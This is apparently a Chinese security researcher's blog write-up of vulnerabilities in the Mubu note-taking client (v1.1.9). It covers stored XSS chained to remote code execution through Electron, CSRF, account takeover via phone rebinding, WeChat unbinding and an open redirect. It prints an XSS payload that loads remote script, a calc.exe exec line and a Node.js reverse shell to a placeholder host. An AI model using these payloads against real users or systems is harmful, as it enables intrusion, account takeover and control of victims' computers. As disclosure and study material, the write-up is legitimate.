0X00 前言

幕布本人最早接触是在P神的知识星球里面看到P神推荐的,后来下了个用着还挺好用。

之前一直都放一些零零散散的笔记,最近整理的时候,一时兴起,本着漏洞源于生活的态度,遂对幕布的安全性做了些研究。

0x01 背景

幕布是一款头脑管理工具,用更高效的方式和清晰的结构来记录笔记、管理任务、制定工作计划、头脑风暴。用最好的方式释放您的大脑!

令人觉得舒服的是,就算是免费版也支持多平台同步,相对比其他软件这个很良心了,还支持多种格式导出,支持脑图演示。

0x02 前世

早在17年,栋栋的栋师傅就对幕布的1.1.0版本进行了研究,发现了多个CSRF,如保存文档,创建文件夹等。搜索框反射XSS,文件夹名XSS,文档名称XSS(在查看思维导图的时候触发),昵称存储XSS等。

由于幕布使用Electron来开发,导致我们只要一个XSS即可执行任意命令。

根据栋师傅的文章,我测了一下,发现现阶段1.1.9版本的搜索框XSS依旧可行。

同样文件夹名的存储XSS也是存在的,点击文件夹即可触发

文档名XSS(在查看脑图的时候触发)这个已经修复了。

XSS到RCE其攻击链如下:

0X03 今生

基于上面的了解,我知道幕布应该有多个功能点存在CSRF和XSS,找到漏洞并不难,难的是找到一个较为完美的利用链。

栋师傅的分享文档,昵称XSS,创建文档然后脑图查看触发,我感觉这个利用链有点复杂,且PAYLOAD过于明显。

经过一番思考,觉得攻击点还是应该放在分享文档页面中,这里是与别人交互的唯一入口(目前来说)。

分享文档页面中包括了什么呢?

经测试,头像处做了过滤,昵称的XSS也已经修复了,目标放到标题和正文。

标题一番测试之后也是过滤了,那么只有正文了,为了更好的测试,特地开了一个月的高级会员,高级会员可以插入图片,想通过图片文件名的方式引入XSS,但发现被过滤了。

中间还测了幕布的标签,但没有效果。(留待白盒审计其解释原理)

不放弃,继续研究,看到保存文档的请求包

会发现有一个叫id的参数,回到页面,F12检查,发现这个id值是作为id属性的值,作为节点解析使用。

直觉告诉我这里应该会有问题。闭合双引号,div标签,弹个框试一下。

好的,成功弹框了。

但是弹完之后,正文把后面错乱的标签代码显示出来了。

后面要做的就是把PAYLAOD完善,不让错乱代码显示出来,让这个插入了恶意代码的文档表现的像一个正常文档一样。

而且这里的触发点堪称完美,只需要用户打开文档,减少触发的步骤。

通过分享文档或者投稿到精选,其他用户登陆状态下浏览,然后触发XSS,直到在客户端查看触发RCE。

这里有一个问题是分享链接都是公开的,别人不需要登陆即可查看,但为了能够利用,我们必须让用户登陆;

还有一个问题是用户在PC的客户端里面没办法直接查看精选页面和分享页面,默认是通过PC浏览器打开页面的。(PS:通过PC客户端的”幕布精选”菜单访问的话,会自动登陆上账号,这里还有一个任意URL跳转的问题)

那么是否可以达到用户点击链接,就能够直接触发RCE呢?

因为这里存在跨端的问题,从浏览器跨到幕布客户端,需要一个桥梁。我想到的桥梁是利用Custom URL Scheme来拉起幕布,让幕布去渲染这个带有XSS的文档然后触发RCE。

但逆向了一下幕布的源码,发现它没有注册相关的URl,所以这个思路行不通,但难免幕布后续更新会加入自己的URL Scheme。

现阶段只能是通过”自动同步”这个桥梁,将我们的恶意文档带入到客户端中去,然后等待用户查看触发了,这个点是最为致命的点了。

根据现有状况,我的攻击思路如下:

被动方式:用户登陆态下,把我们这个“丰富”的文档保存到自己的账号下,在客户端查看时触发RCE。

主动方式:创建一个登陆页面的弹框,诱导用户登录,只允许其登陆之后访问分享文档。然后再利用XSS创建一个文档,等待用户在客户端查看。

总结一下其利用链如下:

当然这里是以RCE为目的,也可以XSS打账号密码等其他方式,那样就可以随时掌控用户的账号,查看其私密文档,创建恶意文档,等待其查看,触发RCE,控制目标电脑。

分析讲完了,下面是验证过程,首先我们需要让文档看起来是正常的,那么就不能像之前的PAYLOAD一样,得利用div标签的事件来触发。主要是onclick 和onmouseover事件。我这里用的是onmouseover事件。

" onmouseover="s=createElement('script');body.appendChild(s);s.src='https://xsspt/xxx'

文档看起来就跟正常文档一样,触发的话需要用户鼠标悬浮在DIV上面。Web端有no-referrer-when-downgrade限制,需要使用https的JS。客户端则不用,最好直接用https的一了百了。

在windows客户端打开,弹个计算器

弹计算器的代码:

require('child_process').exec('calc.exe')

Mac客户端,反弹个shell

反弹shell的代码

var net = require("net"), sh = require("child_process").exec("/bin/bash");
var client = new net.Socket();
client.connect({set.port}, "{set.ip}", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);
sh.stderr.pipe(client);});

关于electron rce 可以在查看这篇文章

0x04 番外

逻辑缺陷

绕过原手机号验证,绑定新手机号,接管帐号

修改手机号正常流程是需要原手机号的验证码验证的

 但我们正常走一遍流程,把绑定新手机号的请求抓出来会发现,根本不需要原手机号的验证码。

我们刚开始的手机号为132

第一步给要绑定的手机号发送验证码

第二部用获取的验证码请求绑定

刷新设置页面,会发现已经绑定成功了。

其中第一步任何其他用户发送即可,获取到验证码,然后创建一个页面,骗取目标用户去访问,利用CSRF攻击,接管其账号。

绕过微信验证,解绑微信

比如我们绑定了微信,就可以用微信登陆了,正常解绑微信是需要,微信验证一下的,但是我们发现把解绑微信的请求抓出来,直接就可以解绑了,且存在CSRF。

正常流程来说是这样走的。

抓到解绑微信的请求如下:

然后发一下包就可以解绑微信了

刷新设置页面,发现已经解绑成功了

 至于绑定微信,需要获取state参数,需要发送请求,只能是XSS来利用了,所以有了XSS,我就可以获取这个state参数,自己构造参数绑定微信到目标用户账号上。

任意URL跳转

主要是客户端幕布精选跳转到浏览器里面自动登陆的请求:

在客户端点击”幕布精选”菜单,抓到这样的请求:

https://mubu.com/client_redirect?token=xxx&next=/explore

其中next这个可以填写我们自己的第三方链接,token正确与否不要紧,甚至去掉这个参数都会跳转。

CSRF (所见之处皆可CSRF

设置昵称

设置昵称的请求为POST请求:

但修改为GET请求,一样可以。

经测试原来所有修改,添加,更新操作为POST的请求,都可以用GET请求来发送。

创建文档

这里只可以用来创建一个空的文档,创建一个有内容的文档需要经过几个步骤,需要有XSS才能创建有内容的文档。

绑定手机号

解邦微信

0x05 总结

这篇文章记录了对幕布安全性的研究和一些攻击思路,上述所有漏洞均已报备幕布官方,请勿用作非法攻击。

有些图看不太清,放个原版文档链接

博客占坑~

幕布V1.1.9最新版漏洞集合的更多相关文章

  1. YxCMS 1.4.7 最新版漏洞分析

    i春秋作家:F0rmat 原文来自:YxCMS 1.4.7 最新版漏洞分析 0x01前言 很感谢关注我专辑的表哥,我会坚持写下去的,最近会慢一点,一月四篇是正常的. 在先知看到的,大部分都是后台漏洞, ...

  2. [转贴]CentOS7.5 Kubernetes V1.13(最新版)二进制部署集群

    CentOS7.5 Kubernetes V1.13(最新版)二进制部署集群 http://blog.51cto.com/10880347/2326146   一.概述 kubernetes 1.13 ...

  3. [JavaWeb]Shiro漏洞集合——代码审计

    Shiro漏洞集合 Shiro其实就是一组Filter,他会进行验证,鉴权,会话 Management,再把请求转到web过滤器.所以最好先去对Shiro有个整体性的了解. 复现环境:https:// ...

  4. zzzphp V1.6.0 按照功能分析漏洞

    0 基础支撑功能 0.1 路由功能 0.2 模版解析 * zzzphp V1.6.0 的代码执行漏洞,模版解析功能的问题 程序解析模版时,将模版中的部分内容匹配出来直接传递给了eval,且没有经过过滤 ...

  5. Motrix for Mac(百度网盘加速/全能下载软件) v1.3.7最新版!

    Motrix for Mac最新版第一时间在本站上线!Mac上最强大实用百度网盘加速器Motrix for Mac分享给您!Motrix for Mac是一款非常优秀的下载工具,采用Aria 2作为核 ...

  6. Catfish CMS漏洞集合

    转自https://larryxi.github.io/ 0x00 背景 版本:V 4.2.35 官网下载:http://www.catfish-cms.com/page/4.html 文章内容仅作学 ...

  7. thinkphp漏洞集合

    整合了一个集合,方便查询 thinkphp 5.0.22 1.http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=dat ...

  8. Tomcat漏洞集合

    目录 Tomcat的几大高危漏洞 Tomcat安全措施 Tomcat的几大高危漏洞 1.Tomcat后台弱口令上传war包(Tomcat管理弱口令页面Getshell) 2.Tomcat的PUT的上传 ...

  9. Windows 2003 Server远程代码执行漏洞集合

    目录 MS08-067 CVE-2017-7269 MS08-067 发布日期:2008/10/22 针对端口:139.445 漏洞等级:高危 漏洞影响:服务器服务中的漏洞可能允许远程执行代码 受影响 ...

随机推荐

  1. python - 练习(获取windows硬件信息)

    import subprocess import re # info = subprocess.Popen("systeminfo",shell=True,stdout=subpr ...

  2. Adjoint of SE(3)

    以前看的书都提到 SE(3) 和 se(3) 的 Adjoint,但是并没有讲这个东西是干什么用的,只是给了一堆性质.这东西来自群论. 参考 Lie Groups for 2D and 3D Tran ...

  3. 在使用NSArray打印的时候如果遇到中文字符那么会打印出来编码。

    在使用NSArray打印的时候如果遇到中文字符那么会打印出来编码,如下代码: - (void)viewDidLoad { [super viewDidLoad]; // Do any addition ...

  4. plist反序列化

    // //  ViewController.m //  03-plist文件的一个反序列化 // //  Created by jerry on 15/9/28. //  Copyright (c) ...

  5. python中datetime与string的相互转换

    >>> import datetime >>> value = '2016-10-30 01:48:31' >>> datetime.strpti ...

  6. Excel中快捷键Ctrl+End覆盖过多

    Sub dd() MsgBox ActiveSheet.UsedRange.Address End Sub 更简单的方法:通过快捷键,选中空白行/列,然后删除行/列,保存,OK!

  7. CROSSUI桌面工具 分布加载模块(Distributed UI Module) 与 主模块Module 之间数据传输!

    CROSSUI 基于 NW,如何在模Module 之间(主index.js and module1.js)传输数据?  http://www.crossui.com/Forum/post577.htm ...

  8. 【转】如何安装JDK以及配置Java运行环境

    具体的参考这篇博文就好了~~!http://www.cnblogs.com/liu-en-ci/p/6743106.html

  9. redis安全 (error) NOAUTH Authentication required

    Redis 安全 我们可以通过 redis 的配置文件设置密码参数,这样客户端连接到 redis 服务就需要密码验证,这样可以让你的 redis 服务更安全. 实例 我们可以通过以下命令查看是否设置了 ...

  10. 003_饿了么chaosmonkey实现

    背景 公司目前的服务设计大部分满足 design for failure 理念.随着业务复杂度的提升,我们很难再保证对系统故障的容错性.我们需要工具来验证服务的容错性,基于这个需求我们使用了 tc 工 ...